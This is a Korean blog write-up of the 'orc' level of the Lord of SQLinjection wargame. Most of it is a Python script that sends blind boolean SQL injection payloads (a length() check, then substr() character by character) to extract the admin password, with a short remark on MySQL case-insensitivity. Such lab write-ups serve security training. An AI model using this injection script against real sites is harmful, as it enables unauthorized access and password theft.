(los[Lord of SQLinjection]) ORC
2020. 4. 23. 10:10ㆍLord of SQLinjection
import requests password = "" for k in range(1, 20): url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php? pw=%27 or id=%27admin%27 and length(pw) = " + str(k) + "%23" r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) print("try password length = " + str(k)) if 'Hello admin' in r.text: print("[+] find password length = " + str(k)) for j in range(1, k+1): # 1~8자리 패스워드를 찾아야함 print("%d" % j) # 현재 몇번째 인지 표시 for i in range(48, 128): # 대부분의 글자들 다 찾아내기 if 58 <= i <= 64: continue if 91 <= i <= 96: continue try: # 시작! url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php? pw=%27 or id=%27admin%27 and substr(pw," + str(j) + ",1) = %27" + chr(i) # print(url) r = requests.post(url, cookies=(dict(PHPSESSID="2o4ge7l7skce4kl1qhl8kkq404"))) # 자신의 Session ID를 넣어야함. print(str(j) + "번째 찾는 중 : " + chr(i)) # 대략적인 현재 위치를 확인하기 위함, 없어도 되는 코드 except: # 예외는 반드시! print("Error") continue if 'Hello admin' in r.text: # 글자를 찾았을 경우! password = password + chr(i) print("[+]Password : " + password) break break |
패스워드는 8자리이지만 MySQL에서 D와 d가 대소문자 구분없이 인식하기 때문에 코드에서 for문을 돌면서 대문자와 소문자에서 모두 Hello admin이 출력된다. 처음에 D를 거쳐서 Hello admin이 출력됬기 때문에 소문자인 d도 입력해본다.
'Lord of SQLinjection' 카테고리의 다른 글
(los[Lord of SQLinjection]) DARKELF (0) | 2020.04.23 |
---|---|
(los[Lord of SQLinjection]) WOLFMAN (0) | 2020.04.23 |
(los[Lord of SQLinjection]) GOBLIN (0) | 2020.04.23 |
(los[Lord of SQLinjection]) COBOLT (0) | 2020.04.23 |
(los[Lord of SQLinjection]) GREMLIN (0) | 2020.04.23 |